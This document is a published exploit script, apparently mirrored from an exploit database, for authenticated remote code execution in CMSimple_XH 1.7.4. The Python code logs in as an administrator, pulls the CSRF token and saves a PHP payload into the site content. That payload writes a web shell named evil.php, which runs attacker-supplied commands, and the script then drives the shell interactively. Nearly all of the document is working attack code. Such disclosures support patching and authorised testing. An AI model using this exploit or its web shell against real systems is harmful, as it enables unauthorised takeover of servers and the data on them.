Share
## https://sploitus.com/exploit?id=PACKETSTORM:164349
# Exploit Title: CMSimple_XH 1.7.4 - Remote Code Execution (RCE) (Authenticated)  
# Date: 01-10-2021  
# Exploit Author: Halit AKAYDIN (hLtAkydn)  
# Vendor Homepage: https://www.cmsimple-xh.org/  
# Software Link: https://www.cmsimple-xh.org/?Downloads  
# Version: 1.7.4  
# Category: Webapps  
# Tested on: Linux/Windows  
  
  
# CMSimple_XH is an open source project under GPL3 license  
# Includes an endpoint that allows remote access  
# Backup page is misconfigured, causing security vulnerability  
# User information with sufficient permissions is required.  
  
# Example: python3 exploit.py -u http://example.com -p Admin123  
  
  
  
from bs4 import BeautifulSoup  
from time import sleep  
import requests  
import argparse  
  
  
def main():  
parser = argparse.ArgumentParser(description='CMSimple_XH Version 1.7.4 - Remote Code Execution (Authenticated)')  
parser.add_argument('-u', '--host', type=str, required=True)  
parser.add_argument('-p', '--password', type=str, required=True)  
args = parser.parse_args()  
print("\nCMSimple_XH Version 1.7.4 - Remote Code Execution (Authenticated)",  
"\nExploit Author: Halit AKAYDIN (hLtAkydn)\n")  
host(args)  
  
  
  
def host(args):  
#Check http or https  
if args.host.startswith(('http://', 'https://')):  
print("[?] Check Url...\n")  
sleep(2)  
args.host = args.host  
if args.host.endswith('/'):  
args.host = args.host[:-1]  
else:  
pass  
else:  
print("\n[?] Check Adress...\n")  
sleep(2)  
args.host = "http://" + args.host  
args.host = args.host  
if args.host.endswith('/'):  
args.host = args.host[:-1]  
else:  
pass  
  
  
# Check Host Status  
try:  
response = requests.get(args.host)  
if response.status_code == 200:  
login(args)  
else:  
print("[-] Address not reachable!")  
sleep(2)  
  
except requests.ConnectionError as exception:  
print("[-] Address not reachable!")  
sleep(2)  
exit(1)  
  
  
def login(args):  
  
url = args.host + "/?&login"  
cookies = {  
"XH_2f": "evil"  
}  
headers = {  
"Origin": args.host,  
"Content-Type": "application/x-www-form-urlencoded",  
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",  
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",  
"Referer": args.host + "/?&login"  
}  
data = {  
"login": "true",  
"keycut": args.password,  
"submit": "Login"  
}  
response = requests.post(url, headers=headers, cookies=cookies, data=data)  
  
token = response.cookies.get("XH_2f")  
soup = BeautifulSoup(response.text, 'html.parser')  
  
if (soup.find("link",{"rel":"next"})['href'] != "/"):  
print("[!] Login Success!\n")  
sleep(2)  
csrf(args,token)  
else:  
print("[!] Wrong password!!\n")  
sleep(2)  
  
  
def csrf(args, token):  
  
url = args.host + "/?file=content"  
cookies = {  
"status": "adm",  
"XH_2f": token  
}  
headers = {  
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",  
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",  
"Referer": args.host + "/?&settings",  
"Accept-Encoding": "gzip, deflate",  
"Connection": "close"  
}  
response = requests.get(url, headers=headers, cookies=cookies)  
  
try:  
soup = BeautifulSoup(response.text, 'html.parser')  
csrf = soup.find_all("input", type="hidden")[3].get("value")  
create(args, token, csrf)  
except Exception as e:  
print(e)  
else:  
pass  
  
  
  
def create(args, token, csrf):  
  
payload = "<?php\r\nfile_put_contents('./evil.php', \"\\x3c\\x3fphp system(\\x24_GET['cmd']);\\x3f\\x3e\");\r\n?>\r\n"  
  
url = args.host  
cookies = {  
"status": "adm",  
"XH_2f": token  
}  
headers = {  
"Origin": args.host,  
"Content-Type": "application/x-www-form-urlencoded",  
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",  
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",  
"Referer": args.host + "/?file=content&action=edit&xh_success=content",  
"Accept-Encoding": "gzip, deflate"  
}  
data = {  
"text": payload,  
"file": "content",  
"action": "save",  
"xh_csrf_token": csrf  
}  
response = requests.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=True)  
  
if (response.status_code == 200):  
print("[!] Create Vuln File!\n")  
sleep(2)  
exploit(args)  
else:  
print("[!] Create Failed!\n")  
sleep(2)  
  
  
def exploit(args):  
  
print("[+] Exploit Done!\n")  
sleep(2)  
  
while True:  
cmd = input("$ ")  
url = args.host + "/evil.php?cmd=" + cmd  
headers = {  
"Upgrade-Insecure-Requests": "1",  
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0"  
}  
  
response = requests.post(url, headers=headers, timeout=5)  
  
if response.text == "":  
print(cmd + ": command not found\n")  
else:  
print(response.text)  
  
  
  
if __name__ == '__main__':  
main()